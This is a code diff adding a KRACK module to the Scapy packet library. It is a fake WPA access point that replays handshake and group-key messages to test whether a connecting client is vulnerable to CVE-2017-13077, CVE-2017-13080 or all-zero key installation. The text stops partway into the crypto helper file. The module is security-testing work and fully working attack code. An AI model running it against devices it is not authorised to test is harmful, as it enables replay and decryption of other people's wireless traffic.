Add a KRACK module implementing client side vulnerabilities detection

Krack comes as an AP, able to detect:
 - CVE-2017-13077
 - CVE-2017-13080
 - All-zero TK
diff --git a/scapy/modules/krack/__init__.py b/scapy/modules/krack/__init__.py
new file mode 100644
index 0000000..4b3138f
--- /dev/null
+++ b/scapy/modules/krack/__init__.py
@@ -0,0 +1,28 @@
+"""Module implementing Krack Attack on client, as a custom WPA Access Point
+
+More details on the attack can be found on https://www.krackattacks.com/
+
+Example of use (from the scapy shell):
+>>> load_module("krack")
+>>> KrackAP(
+    iface="mon0",               # A monitor interface
+    ap_mac='11:22:33:44:55:66', # MAC (BSSID) to use
+    ssid="TEST_KRACK",          # SSID
+    passphrase="testtest",      # Associated passphrase
+).run()
+
+Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
+passphrase.
+The output logs will indicate if one of the vulnerability have been triggered.
+
+Outputs for vulnerable devices:
+- IV re-use!! Client seems to be vulnerable to handshake 3/4 replay
+  (CVE-2017-13077)
+- Broadcast packet accepted twice!! (CVE-2017-13080)
+- Client has installed an all zero encryption key (TK)!!
+
+For patched devices:
+- Client is likely not vulnerable to CVE-2017-13080
+"""
+
+from scapy.modules.krack.automaton import KrackAP
diff --git a/scapy/modules/krack/automaton.py b/scapy/modules/krack/automaton.py
new file mode 100644
index 0000000..c86e69e
--- /dev/null
+++ b/scapy/modules/krack/automaton.py
@@ -0,0 +1,885 @@
+import hmac
+import hashlib
+from itertools import count
+import struct
+import time
+
+from cryptography.hazmat.primitives import hashes
+from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
+from cryptography.hazmat.backends import default_backend
+
+from scapy.arch import get_if_hwaddr
+from scapy.automaton import ATMT, Automaton
+from scapy.base_classes import Net
+from scapy.config import conf
+from scapy.compat import raw, hex_bytes, chb
+from scapy.error import log_runtime
+from scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \
+    Dot11Auth, Dot11Beacon, Dot11Elt, Dot11ProbeReq, Dot11ProbeResp
+from scapy.layers.eap import EAPOL
+from scapy.layers.l2 import ARP, LLC, SNAP, Ether
+from scapy.layers.dhcp import DHCP_am
+from scapy.packet import Raw
+from scapy.utils import hexdump
+from scapy.volatile import RandBin
+
+
+from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \
+    build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \
+    customPRF512, ARC4_encrypt
+
+
+class DHCPOverWPA(DHCP_am):
+    """Wrapper over DHCP_am to send and recv inside a WPA channel"""
+
+    def __init__(self, send_func, *args, **kwargs):
+        super(DHCPOverWPA, self).__init__(*args, **kwargs)
+        self.send_function = send_func
+
+    def sniff(self, *args, **kwargs):
+        # Do not sniff, use a direct call to 'replay(pkt)' instead
+        return
+
+
+class KrackAP(Automaton):
+    """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:
+    "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2"
+
+    Example of use:
+    KrackAP(
+        iface="mon0",               # A monitor interface
+        ap_mac='11:22:33:44:55:66', # MAC to use
+        ssid="TEST_KRACK",          # SSID
+        passphrase="testtest",      # Associated passphrase
+    ).run()
+
+    Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
+    passphrase.
+    The output logs will indicate if one of the CVE have been triggered.
+    """
+
+    # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not
+    # be detected the first time. Several attempt implies the client has been
+    # likely patched
+    ARP_MAX_RETRY = 50
+
+    def __init__(self, *args, **kargs):
+        kargs.setdefault("ll", conf.L2socket)
+        super(KrackAP, self).__init__(*args, **kargs)
+
+    def parse_args(self, ap_mac, ssid, passphrase,
+                   # KRACK attack options
+                   double_3handshake=True,
+                   encrypt_3handshake=True,
+                   wait_3handshake=0,
+                   double_gtk_refresh=True,
+                   arp_target_ip=None,
+                   arp_source_ip=None,
+                   wait_gtk=10,
+                   **kwargs):
+        """
+        Mandatory arguments:
+        @iface: interface to use (must be in monitor mode)
+        @ap_mac: AP's MAC
+        @ssid: AP's SSID
+        @passphrase: AP's Passphrase (min 8 char.)
+
+        Krack attacks options:
+
+         - Msg 3/4 handshake replay:
+        double_3handshake: double the 3/4 handshake message
+        encrypt_3handshake: encrypt the second 3/4 handshake message
+        wait_3handshake: time to wait (in sec.) before sending the second 3/4
+         - double GTK rekeying:
+        double_gtk_refresh: double the 1/2 GTK rekeying message
+        wait_gtk: time to wait (in sec.) before sending the GTK rekeying
+        arp_target_ip: Client IP to use in ARP req. (to detect attack success)
+                       If None, use a DHCP server
+        arp_source_ip: Server IP to use in ARP req. (to detect attack success)
+                       If None, use the DHCP server gateway address
+        """
+        super(KrackAP, self).parse_args(**kwargs)
+
+        # Main AP options
+        self.iface_mon = kwargs['iface']
+        self.mac = ap_mac
+        self.ssid = ssid
+        self.passphrase = passphrase
+
+        # Internal structures
+        self.last_iv = None
+        self.client = None
+        self.seq_num = count()
+        self.replay_counter = count()
+        self.time_handshake_end = None
+        self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
+                                       pool=Net("192.168.42.128/25"),
+                                       network="192.168.42.0/24",
+                                       gw="192.168.42.1")
+        self.arp_sent = []
+        self.arp_to_send = 0
+        self.arp_retry = 0
+
+        # Bit 0: 3way handshake sent
+        # Bit 1: GTK rekeying sent
+        # Bit 2: ARP response obtained
+        self.krack_state = 0
+
+        # Krack options
+        self.double_3handshake = double_3handshake
+        self.encrypt_3handshake = encrypt_3handshake
+        self.wait_3handshake = wait_3handshake
+        self.double_gtk_refresh = double_gtk_refresh
+        self.arp_target_ip = arp_target_ip
+        if arp_source_ip is None:
+            # Use the DHCP server Gateway address
+            arp_source_ip = self.dhcp_server.gw
+        self.arp_source_ip = arp_source_ip
+        self.wait_gtk = wait_gtk
+
+        # May take several seconds
+        self.install_PMK()
+
+    def run(self, *args, **kwargs):
+        log_runtime.warning("AP started with ESSID: %s, BSSID: %s",
+                         self.ssid, self.mac)
+        super(KrackAP, self).run(*args, **kwargs)
+
+    # Key utils
+
+    @staticmethod
+    def gen_nonce(size):
+        """Return a nonce of @size element of random bytes as a string"""
+        return raw(RandBin(size))
+
+    def install_PMK(self):
+        """Compute and install the PMK"""
+        self.pmk = PBKDF2HMAC(
+            algorithm=hashes.SHA1(),
+            length=32,
+            salt=self.ssid,
+            iterations=4096,
+            backend=default_backend(),
+        ).derive(self.passphrase)
+
+    def install_unicast_keys(self, client_nonce):
+        """Use the client nonce @client_nonce to compute and install
+        PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)
+        """
+        pmk = self.pmk
+        anonce = self.anonce
+        snonce = client_nonce
+        amac = hex_bytes(self.mac.replace(":", ""))
+        smac = hex_bytes(self.client.replace(":", ""))
+
+        # Compute PTK
+        self.ptk = customPRF512(pmk, amac, smac, anonce, snonce)
+
+        # Extract derivated keys
+        self.kck = self.ptk[:16]
+        self.kek = self.ptk[16:32]
+        self.tk = self.ptk[32:48]
+        self.mic_ap_to_sta = self.ptk[48:56]
+        self.mic_sta_to_ap = self.ptk[56:64]
+
+        # Reset IV
+        self.client_iv = count()
+
+    def install_GTK(self):
+        """Compute a new GTK and install it alongs
+        MIC (AP -> Group = broadcast + multicast)
+        """
+
+        # Compute GTK
+        self.gtk_full = self.gen_nonce(32)
+        self.gtk = self.gtk_full[:16]
+
+        # Extract derivated keys
+        self.mic_ap_to_group = self.gtk_full[16:24]
+
+        # Reset IV
+        self.group_iv = count()
+
+    # Packet utils
+
+    def build_ap_info_pkt(self, layer_cls, dest):
+        """Build a packet with info describing the current AP
+        For beacon / proberesp use
+        Assume the AP is on channel 6
+        """
+        return RadioTap() \
+              / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \
+              / layer_cls(timestamp=0, beacon_interval=100,
+                          cap='ESS+privacy') \
+              / Dot11Elt(ID="SSID", info=self.ssid) \
+              / Dot11Elt(ID="Rates", info=b'\x82\x84\x8b\x96\x0c\x12\x18$') \
+              / Dot11Elt(ID="DSset", info=b"\x06") \
+              / Dot11Elt(
+                  ID="RSNinfo",
+                  info=b'\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02'\
+                  b'\x01\x00\x00\x0f\xac\x02\x00\x00'
+              )
+
+    @staticmethod
+    def build_EAPOL_Key_8021X2004(
+            key_information,
+            replay_counter,
+            nonce,
+            data=None,
+            key_mic=None,
+            key_data_encrypt=None,
+            key_rsc=0,
+            key_id=0,
+            key_descriptor_type=2, # EAPOL RSN Key
+    ):
+        pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key")
+
+        key_iv = KrackAP.gen_nonce(16)
+
+        assert key_rsc == 0 # Other values unsupported
+        assert key_id == 0 # Other values unsupported
+        payload = b"".join([
+            chb(key_descriptor_type),
+            struct.pack(">H", key_information),
+            b'\x00\x20',  # Key length
+            struct.pack(">Q", replay_counter),
+            nonce,
+            key_iv,
+            struct.pack(">Q", key_rsc),
+            struct.pack(">Q", key_id),
+        ])
+
+        # MIC field is set to 0's during MIC computation
+        offset_MIC = len(payload)
+        payload += b'\x00' * 0x10
+
+        if data is None and key_mic is None and key_data_encrypt is None:
+            # If key is unknown and there is no data, no MIC is needed
+            # Exemple: handshake 1/4
+            payload += b'\x00' * 2 # Length
+            return pkt / Raw(load=payload)
+
+        assert data is not None
+        assert key_mic is not None
+        assert key_data_encrypt is not None
+
+        # Skip 256 first bytes
+        # REF: 802.11i 8.5.2
+        # Key Descriptor Version 1:
+        # ...
+        # No padding shall be used. The encryption key is generated by
+        # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets
+        # of the RC4 key stream shall be discarded following RC4 stream cipher
+        # initialization with the KEK, and encryption begins using the 257th key
+        # stream octet.
+        enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256)
+
+        payload += struct.pack(">H", len(data))
+        payload += enc_data
+
+        # Compute MIC and set at the right place
+        temp_mic = pkt.copy()
+        temp_mic /= Raw(load=payload)
+        to_mic = raw(temp_mic[EAPOL])
+        mic = hmac.new(key_mic, to_mic, hashlib.md5).digest()
+        final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):]
+        assert len(final_payload) == len(payload)
+
+        return pkt / Raw(load=final_payload)
+
+    def build_GTK_KDE(self):
+        """Build the Key Data Encapsulation for GTK
+        KeyID: 0
+        Ref: 802.11i p81
+        """
+        return b''.join([
+            b'\xdd', # Type KDE
+            chb(len(self.gtk_full) + 6),
+            b'\x00\x0f\xac', # OUI
+            b'\x01', # GTK KDE
+            b'\x00\x00', # KeyID - Tx - Reserved x2
+            self.gtk_full,
+        ])
+
+    def send_wpa_enc(self, data, iv, seqnum, dest, mic_key,
+                     key_idx=0, additionnal_flag=["from-DS"],
+                     encrypt_key=None):
+        """Send an encrypted packet with content @data, using IV @iv,
+        sequence number @seqnum, MIC key @mic_key
+        """
+
+        if encrypt_key is None:
+            encrypt_key = self.tk
+
+        rep = RadioTap()
+        rep /= Dot11(
+            addr1=dest,
+            addr2=self.mac,
+            addr3=self.mac,
+            FCfield="+".join(['wep'] + additionnal_flag),
+            SC=(next(self.seq_num) << 4),
+            subtype=0,
+            type="Data",
+        )
+
+        # Assume packet is send by our AP -> use self.mac as source
+
+        # Encapsule in TKIP with MIC Michael and ICV
+        data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest)
+
+        # Header TKIP + payload
+        rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key))
+
+        self.send(rep)
+        return rep
+
+    def send_wpa_to_client(self, data, **kwargs):
+        kwargs.setdefault("encrypt_key", self.tk)
+        return self.send_wpa_enc(data, next(self.client_iv),
+                                 next(self.seq_num), self.client,
+                                 self.mic_ap_to_sta, **kwargs)
+
+    def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs):
+        kwargs.setdefault("encrypt_key", self.gtk)
+        return self.send_wpa_enc(data, next(self.group_iv),
+                                 next(self.seq_num), dest,
+                                 self.mic_ap_to_group, **kwargs)
+
+    def send_ether_over_wpa(self, pkt, **kwargs):
+        """Send an Ethernet packet using the WPA channel
+        Extra arguments will be ignored, and are just left for compatibiliy
+        """
+
+        payload = LLC()/SNAP()/pkt[Ether].payload
+        dest = pkt.dst
+        if dest == "ff:ff:ff:ff:ff:ff":
+            self.send_wpa_to_group(payload, dest)
+        else:
+            assert dest == self.client
+            self.send_wpa_to_client(payload)
+
+    def deal_common_pkt(self, pkt):
+        # Send to DHCP server
+        # LLC / SNAP to Ether
+        if SNAP in pkt:
+            ether_pkt = Ether(src=self.client,dst=self.mac) / pkt[SNAP].payload
+            self.dhcp_server.reply(ether_pkt)
+
+        # If an ARP request is made, extract client IP and answer
+        if ARP in pkt and \
+           pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw:
+            if self.arp_target_ip is None:
+                self.arp_target_ip = pkt[ARP].psrc
+                log_runtime.info("Detected IP: %s", self.arp_target_ip)
+
+            # Reply
+            ARP_ans = LLC()/SNAP()/ARP(
+                op="is-at",
+                psrc=self.arp_source_ip,
+                pdst=self.arp_target_ip,
+                hwsrc=self.mac,
+                hwdst=self.client,
+            )
+            self.send_wpa_to_client(ARP_ans)
+
+    # States
+
+    @ATMT.state(initial=True)
+    def WAIT_AUTH_REQUEST(self):
+        log_runtime.debug("State WAIT_AUTH_REQUEST")
+
+    @ATMT.state()
+    def AUTH_RESPONSE_SENT(self):
+        log_runtime.debug("State AUTH_RESPONSE_SENT")
+
+    @ATMT.state()
+    def ASSOC_RESPONSE_SENT(self):
+        log_runtime.debug("State ASSOC_RESPONSE_SENT")
+
+    @ATMT.state()
+    def WPA_HANDSHAKE_STEP_1_SENT(self):
+        log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT")
+
+    @ATMT.state()
+    def WPA_HANDSHAKE_STEP_3_SENT(self):
+        log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT")
+
+    @ATMT.state()
+    def KRACK_DISPATCHER(self):
+        log_runtime.debug("State KRACK_DISPATCHER")
+
+    @ATMT.state()
+    def ANALYZE_DATA(self):
+        log_runtime.debug("State ANALYZE_DATA")
+
+    @ATMT.timeout(ANALYZE_DATA, 1)
+    def timeout_analyze_data(self):
+        raise self.KRACK_DISPATCHER()
+
+    @ATMT.state()
+    def RENEW_GTK(self):
+        log_runtime.debug("State RENEW_GTK")
+
+    @ATMT.state()
+    def WAIT_GTK_ACCEPT(self):
+        log_runtime.debug("State WAIT_GTK_ACCEPT")
+
+    @ATMT.state()
+    def WAIT_ARP_REPLIES(self):
+        log_runtime.debug("State WAIT_ARP_REPLIES")
+
+    @ATMT.state(final=1)
+    def EXIT(self):
+        log_runtime.debug("State EXIT")
+
+    @ATMT.timeout(WAIT_GTK_ACCEPT, 1)
+    def timeout_wait_gtk_accept(self):
+        raise self.RENEW_GTK()
+
+    @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1)
+    def timeout_waiting(self):
+        raise self.WAIT_AUTH_REQUEST()
+
+    @ATMT.action(timeout_waiting)
+    def send_beacon(self):
+        log_runtime.debug("Send a beacon")
+        rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff")
+        self.send(rep)
+
+    @ATMT.receive_condition(WAIT_AUTH_REQUEST)
+    def probe_request_received(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+        if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
+            raise self.WAIT_AUTH_REQUEST().action_parameters(pkt)
+
+    @ATMT.action(probe_request_received)
+    def send_probe_response(self, pkt):
+        rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2)
+        self.send(rep)
+
+    @ATMT.receive_condition(WAIT_AUTH_REQUEST)
+    def authent_received(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+        if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac:
+            raise self.AUTH_RESPONSE_SENT().action_parameters(pkt)
+
+    @ATMT.action(authent_received)
+    def send_auth_response(self, pkt):
+
+        # Save client MAC for later
+        self.client = pkt.addr2
+        log_runtime.warning("Client %s connected!", self.client)
+
+        # Launch DHCP Server
+        self.dhcp_server.run()
+
+        rep = RadioTap()
+        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
+        rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo,
+                         status=pkt[Dot11Auth].status)
+
+        self.send(rep)
+
+    @ATMT.receive_condition(AUTH_RESPONSE_SENT)
+    def assoc_received(self, pkt):
+        if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
+           pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
+            raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt)
+
+    @ATMT.action(assoc_received)
+    def send_assoc_response(self, pkt):
+
+        # Get RSN info
+        temp_pkt = pkt[Dot11Elt::{"ID":48}].copy()
+        temp_pkt.remove_payload()
+        self.RSN = raw(temp_pkt)
+        # Avoid 802.11w, etc. (deactivate RSN capabilities)
+        self.RSN = self.RSN[:-2] + "\x00\x00"
+
+        rep = RadioTap()
+        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
+        rep /= Dot11AssoResp()
+        rep /= Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18$')
+
+        self.send(rep)
+
+    @ATMT.condition(ASSOC_RESPONSE_SENT)
+    def assoc_sent(self):
+        raise self.WPA_HANDSHAKE_STEP_1_SENT()
+
+    @ATMT.action(assoc_sent)
+    def send_wpa_handshake_1(self):
+
+        self.anonce = self.gen_nonce(32)
+
+        rep = RadioTap()
+        rep /= Dot11(
+            addr1=self.client,
+            addr2=self.mac,
+            addr3=self.mac,
+            FCfield='from-DS',
+            SC=(next(self.seq_num) << 4),
+        )
+        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
+        rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
+        rep /= self.build_EAPOL_Key_8021X2004(
+            key_information=0x89,
+            replay_counter=next(self.replay_counter),
+            nonce=self.anonce,
+        )
+
+        self.send(rep)
+
+    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT)
+    def wpa_handshake_1_sent(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
+           pkt[EAPOL].load[1] == "\x01":
+            # Key MIC: set, Secure / Error / Request / Encrypted / SMK
+            # message: not set
+            raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt)
+
+    @ATMT.action(wpa_handshake_1_sent)
+    def send_wpa_handshake_3(self, pkt):
+
+        # Both nonce have been exchanged, install keys
+        client_nonce = pkt[EAPOL].load[13:13 + 0x20]
+        self.install_unicast_keys(client_nonce)
+
+        # Check client MIC
+
+        # Data: full message with MIC place replaced by 0s
+        # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python
+        client_mic = pkt[EAPOL].load[77:77 + 16]
+        client_data = raw(pkt[EAPOL]).replace(client_mic, "\x00" * len(client_mic))
+        assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic
+
+        rep = RadioTap()
+        rep /= Dot11(
+            addr1=self.client,
+            addr2=self.mac,
+            addr3=self.mac,
+            FCfield='from-DS',
+            SC=(next(self.seq_num) << 4),
+        )
+
+        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
+        rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
+
+        self.install_GTK()
+        data = self.RSN
+        data += self.build_GTK_KDE()
+
+        eap = self.build_EAPOL_Key_8021X2004(
+            key_information=0x13c9,
+            replay_counter=next(self.replay_counter),
+            nonce=self.anonce,
+            data=data,
+            key_mic=self.kck,
+            key_data_encrypt=self.kek,
+        )
+
+        self.send(rep / eap)
+
+    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT)
+    def wpa_handshake_3_sent(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
+           pkt[EAPOL].load[1:3] == "\x03\x09":
+            self.time_handshake_end = time.time()
+            raise self.KRACK_DISPATCHER()
+
+    @ATMT.condition(KRACK_DISPATCHER)
+    def krack_dispatch(self):
+        now = time.time()
+        # Handshake 3/4 replay
+        if self.double_3handshake and (self.krack_state & 1 == 0) and \
+           (now - self.time_handshake_end) > self.wait_3handshake:
+            log_runtime.info("Trying to trigger CVE-2017-13077")
+            raise self.ANALYZE_DATA().action_parameters(send_3handshake=True)
+
+        # GTK rekeying
+        if (self.krack_state & 2 == 0) and \
+           (now - self.time_handshake_end) > self.wait_gtk:
+            raise self.ANALYZE_DATA().action_parameters(send_gtk=True)
+
+        # Fallback in data analysis
+        raise self.ANALYZE_DATA().action_parameters()
+
+    @ATMT.action(krack_dispatch)
+    def krack_proceed(self, send_3handshake=False, send_gtk=False):
+        if send_3handshake:
+            rep = RadioTap()
+            rep /= Dot11(
+                addr1=self.client,
+                addr2=self.mac,
+                addr3=self.mac,
+                FCfield='from-DS',
+                SC=(next(self.seq_num) << 4),
+                subtype=0,
+                type="Data",
+            )
+
+            rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
+            rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
+
+            data = self.RSN
+            data += self.build_GTK_KDE()
+
+            eap_2 = self.build_EAPOL_Key_8021X2004(
+                # Key information 0x13c9:
+                #   ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure,
+                #   Encrypted, SMK
+                key_information=0x13c9,
+                replay_counter=next(self.replay_counter),
+                nonce=self.anonce,
+                data=data,
+                key_mic=self.kck,
+                key_data_encrypt=self.kek,
+            )
+
+            rep /= eap_2
+
+            if self.encrypt_3handshake:
+                self.send_wpa_to_client(rep[LLC])
+            else:
+                self.send(rep)
+
+            self.krack_state |= 1
+
+        if send_gtk:
+            self.krack_state |= 2
+            # Renew the GTK
+            self.install_GTK()
+            raise self.RENEW_GTK()
+
+    @ATMT.receive_condition(ANALYZE_DATA)
+    def get_data(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+
+        # Skip retries
+        if pkt[Dot11].FCfield.retry:
+            return
+
+        # Skip unencrypted frames (TKIP rely on WEP packet)
+        if not pkt[Dot11].FCfield.wep:
+            return
+
+        # Dot11.type 2: Data
+        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
+            # Do not check pkt.addr3, frame can be broadcast
+            raise self.KRACK_DISPATCHER().action_parameters(pkt)
+
+    @ATMT.action(get_data)
+    def extract_iv(self, pkt):
+        # Get IV
+        TSC, _, _ = parse_TKIP_hdr(pkt)
+        iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \
+             (TSC[4] << 32) | (TSC[5] << 40)
+        log_runtime.info("Got a packet with IV: %s", hex(iv))
+
+        if self.last_iv is None:
+            self.last_iv = iv
+        else:
+            if iv <= self.last_iv:
+                log_runtime.warning("IV re-use!! Client seems to be "
+                                    "vulnerable to handshake 3/4 replay "
+                                    "(CVE-2017-13077)"
+                )
+
+        data_clear = None
+
+        # Normal decoding
+        data = parse_data_pkt(pkt, self.tk)
+        try:
+            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
+                                       pkt.addr3)
+        except (ICVError, MICError):
+            pass
+
+        # Decoding with a 0's TK
+        if data_clear is None:
+            data = parse_data_pkt(pkt, "\x00" * len(self.tk))
+            try:
+                mic_key = "\x00" * len(self.mic_sta_to_ap)
+                data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3)
+                log_runtime.warning("Client has installed an all zero "
+                                    "encryption key (TK)!!")
+            except (ICVError, MICError):
+                pass
+
+        if data_clear is None:
+            log_runtime.warning("Unable to decode the packet, something went "
+                                "wrong")
+            log_runtime.debug(hexdump(pkt, dump=True))
+            self.deal_common_pkt(pkt)
+            return
+
+        log_runtime.debug(hexdump(data_clear, dump=True))
+        pkt = LLC(data_clear)
+        log_runtime.debug(repr(pkt))
+        self.deal_common_pkt(pkt)
+
+
+    @ATMT.condition(RENEW_GTK)
+    def gtk_pkt_1(self):
+        raise self.WAIT_GTK_ACCEPT()
+
+    @ATMT.action(gtk_pkt_1)
+    def send_renew_gtk(self):
+
+        rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
+        rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
+
+        data = self.build_GTK_KDE()
+
+        eap = self.build_EAPOL_Key_8021X2004(
+            # Key information 0x1381:
+            #   ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted,
+            #   SMK
+            key_information=0x1381,
+            replay_counter=next(self.replay_counter),
+            nonce=self.anonce,
+            data=data,
+            key_mic=self.kck,
+            key_data_encrypt=self.kek,
+        )
+
+        rep_to_enc /= eap
+        self.send_wpa_to_client(rep_to_enc)
+
+    @ATMT.receive_condition(WAIT_GTK_ACCEPT)
+    def get_gtk_2(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+
+        # Skip retries
+        if pkt[Dot11].FCfield.retry:
+            return
+
+        # Skip unencrypted frames (TKIP rely on WEP packet)
+        if not pkt[Dot11].FCfield.wep:
+            return
+
+        # Normal decoding
+        try:
+            data = parse_data_pkt(pkt, self.tk)
+        except ValueError:
+            return
+        try:
+            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
+                                       pkt.addr3)
+        except (ICVError, MICError):
+            return
+
+        pkt_clear = LLC(data_clear)
+        if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \
+           pkt_clear[EAPOL].load[1:3] == "\x03\x01":
+            raise self.WAIT_ARP_REPLIES()
+
+    @ATMT.action(get_gtk_2)
+    def send_arp_req(self):
+
+        if self.krack_state & 4 == 0:
+            # Set the address for future uses
+            self.arp_target_ip = self.dhcp_server.leases.get(self.client,
+                                                             self.arp_target_ip)
+            assert self.arp_target_ip is not None
+
+            # Send the first ARP requests, for control test
+            log_runtime.info("Send ARP who-was from '%s' to '%s'",
+                             self.arp_source_ip,
+                             self.arp_target_ip)
+            arp_pkt = self.send_wpa_to_group(
+                LLC()/SNAP()/ARP(op="who-has",
+                                 psrc=self.arp_source_ip,
+                                 pdst=self.arp_target_ip,
+                                 hwsrc=self.mac),
+                dest='ff:ff:ff:ff:ff:ff',
+            )
+            self.arp_sent.append(arp_pkt)
+        else:
+            if self.arp_to_send < len(self.arp_sent):
+                # Re-send the ARP requests already sent
+                self.send(self.arp_sent[self.arp_to_send])
+                self.arp_to_send += 1
+            else:
+                # Re-send GTK
+                self.arp_to_send = 0
+                self.arp_retry += 1
+                log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d",
+                              self.arp_retry, self.ARP_MAX_RETRY)
+                if self.arp_retry > self.ARP_MAX_RETRY:
+                    # We retries 100 times to send GTK, then already sent ARPs
+                    log_runtime.warning("Client is likely not vulnerable to "
+                                        "CVE-2017-13080")
+                    raise self.EXIT()
+
+                raise self.RENEW_GTK()
+
+    @ATMT.timeout(WAIT_ARP_REPLIES, 0.5)
+    def resend_arp_req(self):
+        self.send_arp_req()
+        raise self.WAIT_ARP_REPLIES()
+
+    @ATMT.receive_condition(WAIT_ARP_REPLIES)
+    def get_arp(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+
+        # Skip retries
+        if pkt[Dot11].FCfield.retry:
+            return
+
+        # Skip unencrypted frames (TKIP rely on WEP packet)
+        if not pkt[Dot11].FCfield.wep:
+            return
+
+        # Dot11.type 2: Data
+        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
+            # Do not check pkt.addr3, frame can be broadcast
+            raise self.WAIT_ARP_REPLIES().action_parameters(pkt)
+
+    @ATMT.action(get_arp)
+    def check_arp_reply(self, pkt):
+        data = parse_data_pkt(pkt, self.tk)
+        try:
+            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
+                                       pkt.addr3)
+        except (ICVError, MICError):
+            return
+
+        decoded_pkt = LLC(data_clear)
+        log_runtime.debug(hexdump(decoded_pkt, dump=True))
+        log_runtime.debug(repr(decoded_pkt))
+        self.deal_common_pkt(decoded_pkt)
+        if ARP not in decoded_pkt:
+            return
+
+        # ARP.op 2: is-at
+        if decoded_pkt[ARP].op == 2 and \
+           decoded_pkt[ARP].psrc == self.arp_target_ip and \
+           decoded_pkt[ARP].pdst == self.arp_source_ip:
+            # Got the expected ARP
+            if self.krack_state & 4 == 0:
+                # First time, normal behavior
+                log_runtime.info("Got ARP reply, this is normal")
+                self.krack_state |= 4
+                log_runtime.info("Trying to trigger CVE-2017-13080")
+                raise self.RENEW_GTK()
+            else:
+                # Second time, the packet has been accepted twice!
+                log_runtime.warning("Broadcast packet accepted twice!! "
+                                    "(CVE-2017-13080)")
diff --git a/scapy/modules/krack/crypto.py b/scapy/modules/krack/crypto.py
new file mode 100644
index 0000000..65550ab
--- /dev/null
+++ b/scapy/modules/krack/crypto.py
@@ -0,0 +1,346 @@
+import hashlib
+import hmac
+from io import BytesIO
+from struct import unpack, pack
+from zlib import crc32
+
+from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+from cryptography.hazmat.backends import default_backend
+
+from scapy.compat import hex_bytes, orb
+from scapy.packet import Raw
+
+# ARC4
+
+def ARC4_encrypt(key, data, skip=0):
+    """Encrypt data @data with key @key, skipping @skip first bytes of the
+    keystream"""
+
